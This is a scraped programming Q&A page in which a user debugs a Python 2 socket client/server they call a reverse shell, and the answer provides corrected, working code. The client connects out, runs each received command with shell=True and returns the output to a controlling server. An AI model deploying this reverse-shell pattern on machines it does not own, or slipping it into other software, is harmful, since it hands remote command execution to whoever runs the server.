Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

TCP Server not receiving anything after initial connection. Python

So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3

Here's the client (It's a reverse TCP connection):

import socket, subprocess, time

me = '192.168.1.3'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try:
        s.connect((me, port))
        break
    except:
        time.sleep(1)
s.send('[*] Connected!')

while True:     
     data = s.recv(1024)
     output = subprocess.check_output(data, shell=True)
     s.send(output)     
s.close()

Here's the server:

import socket

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)
    #client.close()

while True:
    client,addr = s.accept()
    print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
    client_handler = threading.Thread(target=handler,args=(client,))
    client_handler.start()

Here's the output that I receive on the server:

Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*

And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.

Halp?

Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:

def handler(client):
while True:
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)

So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:

    Exception in thread Thread-1:
Traceback (most recent call last):
  File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
    self.run()
  File "C:\Python27\lib\threading.py", line 763, in run
    self.__target(*self.__args, **self.__kwargs)
  File "C:\Users\Jami\Documents\Awn\Eclipse USB     Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
    req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine

EDIT:

Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.

like image 638
Awn Avatar asked Nov 10 '22 16:11

Awn


1 Answers

TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.

The server:

import socket
import threading
import json

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    print 'Recieved: %s' % client
    sock_input = client.makefile('r')
    while True:
        command = raw_input('> ')
        if command == 'exit':
            break
        print 'Sending: %s' % command
        client.sendall(command + '\n')
        print json.loads(next(sock_input))
    client.close()

def main():
    while True:
        client,addr = s.accept()
        print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
        client_handler = threading.Thread(target=handler,args=(client,))
        client_handler.start()

if __name__ == '__main__':
    main()

The client:

import socket
import subprocess
import time
import json

me = 'localhost'
port = 1332

def main():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((me, port))
            break
        except Exception, e:
            print e
            time.sleep(1)
    sock_input = s.makefile('r')
    for command in sock_input:
         try:
             output = subprocess.check_output(command, shell=True)
         except:
             output = 'Could not execute.'
         s.sendall(json.dumps(output)+'\n')
    s.close()

if __name__ == '__main__':
    main()
like image 156
Daniel Avatar answered Nov 14 '22 21:11

Daniel